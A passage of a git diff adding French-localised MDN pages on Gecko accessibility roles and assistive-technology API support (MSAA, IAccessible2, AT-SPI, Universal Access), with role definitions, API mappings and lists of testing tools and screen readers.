+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CANVAS">ROLE_CANVAS</a></code></dt>
+ <dd>
+  Represents a control that can be drawn into and is used to trap events.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHECK_MENU_ITEM">ROLE_CHECK_MENU_ITEM</a></code></dt>
+ <dd>
+  Represents a menu item with a check box.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLOR_CHOOSER">ROLE_COLOR_CHOOSER</a></code></dt>
+ <dd>
+  Represents a specialized dialog that lets the user choose a color.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DATE_EDITOR">ROLE_DATE_EDITOR</a></code></dt>
+ <dd>
+  Represents control whose purpose is to allow a user to edit a date.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DESKTOP_ICON">ROLE_DESKTOP_ICON</a></code></dt>
+ <dd>
+  An iconified internal frame in an ROLE_DESKTOP_PANE.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DESKTOP_FRAME">ROLE_DESKTOP_FRAME</a></code></dt>
+ <dd>
+  A desktop pane. A pane that supports internal frames and iconified versions of those internal frames.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIRECTORY_PANE">ROLE_DIRECTORY_PANE</a></code></dt>
+ <dd>
+  A directory pane. A pane that allows the user to navigate through and select the contents of a directory. May be used by a file chooser.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FILE_CHOOSER">ROLE_FILE_CHOOSER</a></code></dt>
+ <dd>
+  A file chooser. A specialized dialog that displays the files in the directory and lets the user select a file, browse a different directory, or specify a filename. May use the directory pane to show the contents of a directory.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FONT_CHOOSER">ROLE_FONT_CHOOSER</a></code></dt>
+ <dd>
+  A font chooser. A font chooser is a component that lets the user pick various attributes for fonts.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHROME_WINDOW">ROLE_CHROME_WINDOW</a></code></dt>
+ <dd>
+  Frame role. A top level window with a title bar, border, menu bar, etc. It is often used as the primary window for an application.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GLASS_PANE">ROLE_GLASS_PANE</a></code></dt>
+ <dd>
+  A glass pane. A pane that is guaranteed to be painted on top of all panes beneath it.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HTML_CONTAINER">ROLE_HTML_CONTAINER</a></code></dt>
+ <dd>
+  A document container for HTML, whose children represent the document content.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ICON">ROLE_ICON</a></code></dt>
+ <dd>
+  A small fixed size picture, typically used to decorate components.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LABEL">ROLE_LABEL</a></code></dt>
+ <dd>
+  Presents an icon or short string in an interface.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LAYERED_PANE">ROLE_LAYERED_PANE</a></code></dt>
+ <dd>
+  A layered pane. A specialized pane that allows its children to be drawn in layers, providing a form of stacking order. This is usually the pane that holds the menu bar as well as the pane that contains most of the visual components in a window.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OPTION_PANE">ROLE_OPTION_PANE</a></code></dt>
+ <dd>
+  A specialized pane whose primary use is inside a dialog.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT">ROLE_PASSWORD_TEXT</a></code></dt>
+ <dd>
+  A text object uses for passwords, or other places where the text content is not shown visibly to the user.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_POPUP_MENU">ROLE_POPUP_MENU</a></code></dt>
+ <dd>
+  A temporary window that is usually used to offer the user a list of choices, and then hides when the user selects one of those choices.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RADIO_MENU_ITEM">ROLE_RADIO_MENU_ITEM</a></code></dt>
+ <dd>
+  A radio button that is a menu item.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROOT_PANE">ROLE_ROOT_PANE</a></code></dt>
+ <dd>
+  A root pane. A specialized pane that has a glass pane and a layered pane as its children. Its children can include scroll bars and a viewport.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SCROLL_PANE">ROLE_SCROLL_PANE</a></code></dt>
+ <dd>
+  A scroll pane. An object that allows a user to incrementally view a large amount of information.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPLIT_PANE">ROLE_SPLIT_PANE</a></code></dt>
+ <dd>
+  A split pane. A specialized panel that presents two other panels at the same time. Between the two panels is a divider the user can manipulate to make one panel larger and the other panel smaller.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE_COLUMN_HEADER">ROLE_TABLE_COLUMN_HEADER</a></code></dt>
+ <dd>
+  The header for a column of a table.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE_ROW_HEADER">ROLE_TABLE_ROW_HEADER</a></code></dt>
+ <dd>
+  The header for a row of a table.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEAR_OFF_MENU_ITEM">ROLE_TEAR_OFF_MENU_ITEM</a></code></dt>
+ <dd>
+  A menu item used to tear off and reattach its menu.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TERMINAL">ROLE_TERMINAL</a></code></dt>
+ <dd>
+  Represents an accessible terminal.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEXT_CONTAINER">ROLE_TEXT_CONTAINER</a></code></dt>
+ <dd>
+  Collection of objects that constitute a logical text entity.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOGGLE_BUTTON">ROLE_TOGGLE_BUTTON</a></code></dt>
+ <dd>
+  A toggle button. A specialized push button that can be checked or unchecked, but does not provide a separate indicator for the current state.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TREE_TABLE">ROLE_TREE_TABLE</a></code></dt>
+ <dd>
+  Representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_VIEWPORT">ROLE_VIEWPORT</a></code></dt>
+ <dd>
+  A viewport. An object usually used in a scroll pane. It represents the portion of the entire data that the user can see. As the user manipulates the scroll bars, the contents of the viewport can change.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HEADER">ROLE_HEADER</a></code></dt>
+ <dd>
+  Header of a document page.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FOOTER">ROLE_FOOTER</a></code></dt>
+ <dd>
+  Footer of a document page.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PARAGRAPH">ROLE_PARAGRAPH</a></code></dt>
+ <dd>
+  A paragraph of text.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RULER">ROLE_RULER</a></code></dt>
+ <dd>
+  A ruler such as those used in word processors.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_AUTOCOMPLETE">ROLE_AUTOCOMPLETE</a></code></dt>
+ <dd>
+  A text entry having dialog or list containing items for insertion into an entry widget, for instance a list of words for completion of a text entry.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_EDITBAR">ROLE_EDITBAR</a></code></dt>
+ <dd>
+  An editable text object in a toolbar.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ENTRY">ROLE_ENTRY</a></code></dt>
+ <dd>
+  An control whose textual content may be entered or modified by the user.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CAPTION">ROLE_CAPTION</a></code></dt>
+ <dd>
+  A caption describing another object.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT_FRAME">ROLE_DOCUMENT_FRAME</a></code></dt>
+ <dd>
+  A visual frame or container which contains a view of document content. Document frames may occur within another Document instance, in which case the second document may be said to be embedded in the containing instance. HTML frames are often ROLE_DOCUMENT_FRAME. Either this object, or a singleton descendant, should implement the Document interface.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HEADING">ROLE_HEADING</a></code></dt>
+ <dd>
+  Heading.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGE">ROLE_PAGE</a></code></dt>
+ <dd>
+  An object representing a page of document content. It is used in documents which are accessed by the user on a page by page basis.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SECTION">ROLE_SECTION</a></code></dt>
+ <dd>
+  A container of document content.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_REDUNDANT_OBJECT">ROLE_REDUNDANT_OBJECT</a></code></dt>
+ <dd>
+  An object which is redundant with another object in the accessible hierarchy. ATs typically ignore objects with this role.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FORM">ROLE_FORM</a></code></dt>
+ <dd>
+  A container of form controls.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IME">ROLE_IME</a></code></dt>
+ <dd>
+  An object which is used to allow input of characters not found on a keyboard, such as the input of Chinese characters on a Western keyboard.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_APP_ROOT">ROLE_APP_ROOT</a></code></dt>
+ <dd>
+   ???</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PARENT_MENUITEM">ROLE_PARENT_MENUITEM</a></code></dt>
+ <dd>
+  Represents a menu item, which is an entry in a menu that a user can choose to display another menu.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CALENDAR">ROLE_CALENDAR</a></code></dt>
+ <dd>
+  A calendar that allows the user to select a date.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX_LIST">ROLE_COMBOBOX_LIST</a></code></dt>
+ <dd>
+  A list of items that is shown by combobox.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX_OPTION">ROLE_COMBOBOX_OPTION</a></code></dt>
+ <dd>
+  A item of list that is shown by combobox</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IMAGE_MAP">ROLE_IMAGE_MAP</a></code></dt>
+ <dd>
+  An image map -- has child links representing the areas</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OPTION">ROLE_OPTION</a></code></dt>
+ <dd>
+  An option in a listbox</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RICH_OPTION">ROLE_RICH_OPTION</a></code></dt>
+ <dd>
+  A rich option in a listbox, it can have other widgets as children</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LISTBOX">ROLE_LISTBOX</a></code></dt>
+ <dd>
+  A list of options</dd>
+</dl>
+<div class="note">
+ <p><strong>Editor's note:</strong> Use template <span class="nowiki"><code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_">ROLE_</a></code></span> to get reference on accessible role. It looks like <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUITEM">ROLE_MENUITEM</a></code>.</p>
+</div>
+<p> </p>
diff --git a/files/fr/web/accessibility/at-apis/gecko/roles/role_alert/index.html b/files/fr/web/accessibility/at-apis/gecko/roles/role_alert/index.html
new file mode 100644
index 0000000000..0a7b46f960
--- /dev/null
+++ b/files/fr/web/accessibility/at-apis/gecko/roles/role_alert/index.html
@@ -0,0 +1,41 @@
+---
+title: ROLE_ALERT
+slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ALERT
+tags:
+  - AT_APIs
+  - Accessibilité
+  - Reference
+  - Référence(2)
+  - Rôle
+  - À relire
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_ALERT
+---
+<p><a href="/fr/docs/Accessibilité:AT-APIs:Gecko:Rôles">« Rôles Gecko Page</a></p>
+
+<p>Représente une alerte ou une condition qui doit être notifiée à l’utilisateur. Les technologies d’assistance répondent généralement au rôle en lisant l’intégralité des contenus affichés dans les conteneurs possédant ce rôle. Peut être utilisé pour les boîtes de dialogue d’alerte, etc.</p>
+
+<h2 id="Mapped_to" name="Mapped_to">Associé à</h2>
+
+<ul>
+ <li>AT-SPI : <code>ROLE_ALERT</code></li>
+ <li>ATK : <code>ATK_ROLE_ALERT</code></li>
+ <li>MSAA/IA2 : <code>ROLE_SYSTEM_ALERT</code></li>
+ <li>UA : <code>NSAccessibilityWindowRole</code></li>
+</ul>
+
+<h2 id="Événements" name="Événements">Événements</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Events#EVENT_ALERT">EVENT_ALERT</a></code> - se déclenche lorsque que le composant est affiché.</li>
+</ul>
+
+<h2 id="Used_by" name="Used_by">Utilisé par</h2>
+
+<ul>
+ <li>ARIA : <code><a class="external" href="https://w3c.github.io/aria/#alert">alert</a></code>, <code><a class="external" href="https://w3c.github.io/aria/#alertdialog">alertdialog</a></code></li>
+ <li>XUL : &lt;<code><a href="/fr/docs/Mozilla/Tech/XUL/notification" title="notification">notification</a></code>/&gt;, &lt;<code><a href="/fr/docs/Mozilla/Tech/XUL/panel" title="panel">panel</a></code> noautofocus = "true"/&gt;</li>
+</ul>
+
+<p></p><section class="Quick_links" id="Quick_Links">
+<ol><li><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ALERT">ROLE_ALERT</a></li></ol>
+</section><p></p>
diff --git a/files/fr/web/accessibility/at-apis/gecko/roles/role_password_text/index.html b/files/fr/web/accessibility/at-apis/gecko/roles/role_password_text/index.html
new file mode 100644
index 0000000000..a3eaacc6b8
--- /dev/null
+++ b/files/fr/web/accessibility/at-apis/gecko/roles/role_password_text/index.html
@@ -0,0 +1,27 @@
+---
+title: ROLE PASSWORD TEXT
+slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT
+---
+<p> </p>
+
+<p><a href="/fr/docs/Accessibility:AT-APIs:Gecko:Roles">« Gecko Roles Page</a></p>
+
+<h2 id="Description" name="Description">Description</h2>
+
+<p><span class="tlid-translation translation"><span title="">Un objet texte utilise pour les mots de passe ou d'autres endroits où le contenu du texte n'est pas affiché de manière visible pour l'utilisateur.</span></span></p>
+
+<h2 id="Mapped_to" name="Mapped_to"><span class="tlid-translation translation"><span title="">Orienté vers</span></span></h2>
+
+<ul>
+ <li>AT-SPI: ROLE_PASSWORD_TEXT</li>
+ <li>ATK: ATK_ROLE_PASSWORD_TEXT</li>
+ <li>UA: NSAccessibilityTextFieldRole</li>
+ <li>MSAA/IA2: ROLE_SYSTEM_TEXT</li>
+</ul>
+
+<h2 id="Used_by" name="Used_by"><span class="tlid-translation translation"><span title="">Utilisé par</span></span></h2>
+
+<ul>
+ <li>HTML: &lt;input type="password"/&gt;</li>
+</ul>
diff --git a/files/fr/web/accessibility/at-apis/index.html b/files/fr/web/accessibility/at-apis/index.html
new file mode 100644
index 0000000000..86c5d18b73
--- /dev/null
+++ b/files/fr/web/accessibility/at-apis/index.html
@@ -0,0 +1,56 @@
+---
+title: AT APIs Support
+slug: Web/Accessibility/AT-APIs
+tags:
+  - AT_APIs
+  - Accessibility
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Tech/Accessibility/AT-APIs
+---
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+<div class="note">Documentation is in progress still. But in the meantime it more up-to-date and contains more details than existed analogues for <a class="external" href="http://developer.mozilla.org/en/docs/Accessibility/AT-SPI_Support">AT-SPI</a> and <a class="external" href="http://wiki.mozilla.org/Accessibility/AT-Windows-API">MSAA</a></div>
+<p>This documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support Gecko-based software. We provide for them the support of these products on Windows, Linux/Unix and OS X platforms.</p>
+<h3 id="Accessible_Gecko" name="Accessible_Gecko">Accessible Gecko</h3>
+<p>Gecko is a rendering engine that Firefox, SeaMonkey, Netscape and yelp use. Gecko can render a variety of content, not just HTML and supports key web standards such as Cascading Style Sheets, Javascript and the W3C DOM. Gecko also handles the users keystrokes and mouse clicks. Gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it.</p>
+<h3 id="Gecko_Based_Applications" name="Gecko_Based_Applications">Gecko Based Applications</h3>
+<p>Gecko can be used in two ways to create application:</p>
+<h4 id="Embedded_Clients" name="Embedded_Clients">Embedded Clients</h4>
+<p>Embedded clients use Gecko only in the content window, at the moment for HTML and generic XML only. They typically use standard Windows controls for their user interface -- the area outside of the client content window, plus the context menu.</p>
+<ul> <li>on Windows platform <ul> <li>MFCEMBED testing client - this is a very simple package, great for testing basic HTML accessibility with your products and the Gecko rendering engine (please <a href="#Contacts">contact</a> us for a copy).</li> <li><a class="external" href="http://kmeleon.sourceforge.net/">K-Meleon</a> - light, ultra-fast and more advanced (fully configurable) Gecko-based web browser available on the Windows platform</li> </ul> </li> <li>on Linux/Unix platform <ul> <li><a class="external" href="http://live.gnome.org/Yelp">Yelp help viewer</a> - the help viewer in Gnome</li> <li><a class="external" href="http://www.gnome.org/projects/evolution/">Evolution email</a> - provides integrated mail, addressbook and calendaring functionality to users of the GNOME desktop.</li> </ul> </li> <li>on Mac platform <ul> <li><a class="external" href="http://caminobrowser.org/">Camino</a> - web browser for OS X</li> </ul> </li>
+</ul>
+<h4 id="XUL_Applications" name="XUL_Applications">XUL Applications</h4>
+<p>XUL applications make full use of the Gecko architecture, not only for HTML content, but also for the entire user interface. Widgets such as menus, tab panels, tree views and dialogs are provided via an XML language called XUL (eXtensible User-interface Language). None of the user interface contains standard OS controls. This is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances). Developing a XUL window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets.</p>
+<p>Examples of XUL applications:</p>
+<ul> <li><a class="external" href="http://www.mozilla.com/en-US/firefox/">Firefox</a> - web-browser</li> <li><a class="external" href="http://www.mozilla.com/en-US/thunderbird/">Thunderbird</a> - email client</li> <li><a class="external" href="http://www.seamonkey-project.org/">Seamonkey</a> - web-browser, advanced e-mail and newsgroup client, IRC chat client, and HTML editing made simple</li> <li><a class="external" href="http://www.mozilla.org/projects/calendar/sunbird/">Sunbird</a> - cross-platform calendar application</li> <li><a class="external" href="http://www.kompozer.net/">KompoZer</a> - a complete Web Authoring System for Linux Desktop, Microsoft Windows and Macintosh users to rival programs like FrontPage and Dreamweaver.</li> <li><a class="external" href="http://www.openkomodo.com/">Open Komodo</a> - platform for building developer environments</li> <li><a class="external" href="http://www.getmiro.com/">Miro</a> - a free, open source internet tv and video player</li> <li>Any XulRunner application (<a class="external" href="http://www.songbirdnest.com/">Songbird media player</a>, etc.)</li> <li>Extensions to other XUL apps (e.g. <a class="external" href="http://addons.mozilla.org">Firefox extensions</a>)</li>
+</ul>
+<h3 id="Gecko_Version" name="Gecko_Version">Gecko Version</h3>
+<p>For Firefox and all other Gecko-based products: this documentation applies to up-to-date product builds based on Gecko 1.9.2 -- currently not available on official releases. However most of described features are supported starting from Gecko 1.9.0 (Firefox 3.0). However it's preferable to grab the current build of Firefox or any other Gecko-based product to be up to dated:</p>
+<ul> <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/">Firefox</a> recent builds</li> <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/thunderbird/nightly/latest-trunk/">Thunderbird</a> recent builds</li> <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/seamonkey/nightly/latest-trunk/">Seamonkey</a> recent builds</li>
+</ul>
+<h3 id="Determining_if_Accessibility_is_Enabled_in_a_Firefox">Determining if Accessibility is Enabled in a Firefox</h3>
+<p>Accessibility is enabled on Windows and Linux platforms by default. As well you might find helpful the <a class="link-https" href="https://addons.mozilla.org/firefox/2407/">about:accessibilityenabled Firefox</a> extension.</p>
+<h2 id="Supported_AT_APIs" name="Supported_AT_APIs">Supported AT APIs</h2>
+<h3 id="AT_APIs_terms" name="AT_APIs_terms">AT APIs terms</h3>
+<dl><dt> <a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/msaa/msaastart_9w2t.asp">Microsoft Active Accessibility (MSAA)</a> </dt><dd> an API devised by Microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand MSAA, you'll need to read the docs on MSDN and play with the sample apps and code that come with <a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4179742f-1f3d-4115-a8ba-2f7a6022b533&amp;displaylang=en">MSAA SDK 1.3</a>. (I recommend SDK 1.3 because the MSAA SDK 2.0 doesn't come with the source code to the testing tools. The other differences are not important). </dd></dl> <dl><dt> <a class="external" href="http://www.linux-foundation.org/en/Accessibility/IAccessible2">IAccessible2 (IA2)</a> </dt><dd> IAccessible2 is a new accessibility API which complements Microsoft's earlier work on MSAA. This API fills critical accessibility API gaps in the MSAA offering. </dd></dl> <dl><dt> <a class="external" href="http://www.gnome.org/~billh/at-spi-idl/html/">Assistive Technology Service Provider Interface (AT-SPI)</a> </dt><dd> an API devised by Sun Microsystems so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand AT-SPI, you'll need to read the docs on gnome.org and play with the available sample apps and code, such as at-poke. Please note that the web docs are sometimes out of date, and the <a class="external" href="http://cvs.gnome.org/viewcvs/at-spi/">latest AT-SPI is available on CVS</a>. </dd></dl> <dl><dt> <a class="external" href="http://www.apple.com/macosx/features/universalaccess/">Universal Access (UA)</a> </dt><dd> Universal Access (UA) is the Apple's accessibility framework. </dd></dl>
+<h3 id="Windows_platform" name="Windows_platform">Windows platform</h3>
+<p>We support MSAA (Microsoft Active Accessibility) and IAccessible2 on Windows. Also we expose <a href="/en/Accessibility/AT-APIs/ImplementationFeatures/MSAA#Additional_DOM_Support" title="en/Accessibility/AT-APIs/ImplementationFeatures/MSAA#Additional_DOM_Support">MS COM interfaces</a> ISimpleDOM* to provide an access to DOM tree.</p>
+<p>IAccessible2 is a set of interfaces that overlay the MSAA (IAccessible) and DOM (ISimpleDOM*) interface support. Any object that supports IAccessible will also support IAccessible2 and possibly any of the other IA2 interfaces.</p>
+<h3 id="Linux.2FUnix_platform" name="Linux.2FUnix_platform">Linux/Unix platform</h3>
+<p>We support ATK/AT-SPI interfaces on Linux.</p>
+<h3 id="Mac_platform" name="Mac_platform">Mac platform</h3>
+<p>We currently support only a subset of Universal Access. The rest of the <a class="external" href="http://wiki.mozilla.org/Mac:Accessibility">Mozilla Universal Access support</a> is in progress.</p>
+<h2 id="Accessible_Web_Specifications" name="Accessible_Web_Specifications">Accessible Web Specifications</h2>
+<p>Gecko exposes the number of XML languages including HTML to AT. Refer to <a href="/en/Accessibility/AT-APIs/Web_Specifications" title="en/ARIA_User_Agent_Implementors_Guide">accessible web specifications page</a> to learn what and how markup languages are exposed.</p><h2 id="AT_APIs_Supported_Features_Details" name="AT_APIs_Supported_Features_Details">AT APIs Implementation Details</h2>
+<p>Refer to <a href="/En/Accessibility/AT-APIs/Implementation_Details" title="en/Accessibility/AT-APIs/Implementation_Details">implementation details page</a> to see how Gecko supports interesting AT API. There you will find information how AT API interfaces, roles, states and etc are mapped into Gecko accessibility API and visa versa.</p>
+<h2 id="Keyboard_User_Interface_and_API" name="Keyboard_User_Interface_and_API">Keyboard User Interface and API</h2>
+<p>Fortunately, Gecko uses the standard keyboard API's for each supported platform. The Mozilla keyboard shortcuts for content are similar to what is used in other browsers. Here is a list of <a class="external" href="http://www.mozilla.org/support/firefox/keyboard">Firefox keyboard shortcuts</a>.</p>
+<h2 id="Test_Tools" name="Test_Tools">Test Tools</h2>
+<p>Here you will find a list of tools to test accessibility Gecko-based applications.</p>
+<ul> <li>MSAA <ul> <li><a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4179742F-1F3D-4115-A8BA-2F7A6022B533&amp;displaylang=en">MSAA SDK tools</a> - version 1.3 is recommended instead of 2.0 because it includes source code for the tools</li> </ul> </li> <li>IAccessible2 <ul> <li><a class="external" href="http://www.eclipse.org/actf/downloads/tools/accprobe/index.php">Accessibility Probe</a> -- includes MSAA support as well</li> </ul> </li> <li>ATK/AT-SPI <ul> <li><a class="external" href="http://live.gnome.org/Accerciser">Accerciser</a> - interactive Python accessibility explorer for the GNOME desktop</li> </ul> </li> <li>Gecko <ul> <li><a class="external" href="http://www.mozilla.org/projects/inspector/">DOM Inspector</a> has an ability to test Gecko accessibility layer, supports base features.</li> <li>Firebug</li> </ul> </li>
+</ul>
+<h2 id="Screen_Readers" name="Screen_Readers">Screen Readers</h2>
+<p>Here's a list of screen readers we are oriented to in the first place.</p>
+<ul> <li>Windows platform <ul> <li><a class="external" href="http://www.freedomscientific.com/fs_products/software_jaws.asp">JAWS</a></li> <li><a class="external" href="http://www.gwmicro.com/">Windows Eyes</a></li> <li><a class="external" href="http://www.nvda-project.org/">NVDA</a></li> </ul> </li> <li>Linux/Unix platform <ul> <li><a class="external" href="http://live.gnome.org/Orca">Orca</a></li> </ul> </li> <li>OS X platform <ul> <li><a class="external" href="http://www.apple.com/accessibility/voiceover/">VoiceOver</a></li> </ul> </li>
+</ul><h2 id="Contacts" name="Contacts">Contacts</h2>
+<p>Please discuss accessibility issues on the <a class="external" href="http://groups.google.com/group/mozilla.dev.accessibility/topics">Mozilla Accessibility groups</a> or on the <a class="link-irc" href="irc://irc.mozilla.org/accessibility">Mozilla Accessibility IRC channel</a>.</p>
diff --git a/files/fr/web/accessibility/understanding_wcag/index.html b/files/fr/web/accessibility/understanding_wcag/index.html
new file mode 100644
index 0000000000..5e99ef795d
--- /dev/null
+++ b/files/fr/web/accessibility/understanding_wcag/index.html
@@ -0,0 +1,58 @@
+---
+title: Understanding the Web Content Accessibility Guidelines
+slug: Web/Accessibility/Understanding_WCAG
+tags:
+  - TopicStub
+  - WCAG
+  - Web Content Accessibility Guidelines
+translation_of: Web/Accessibility/Understanding_WCAG
+---
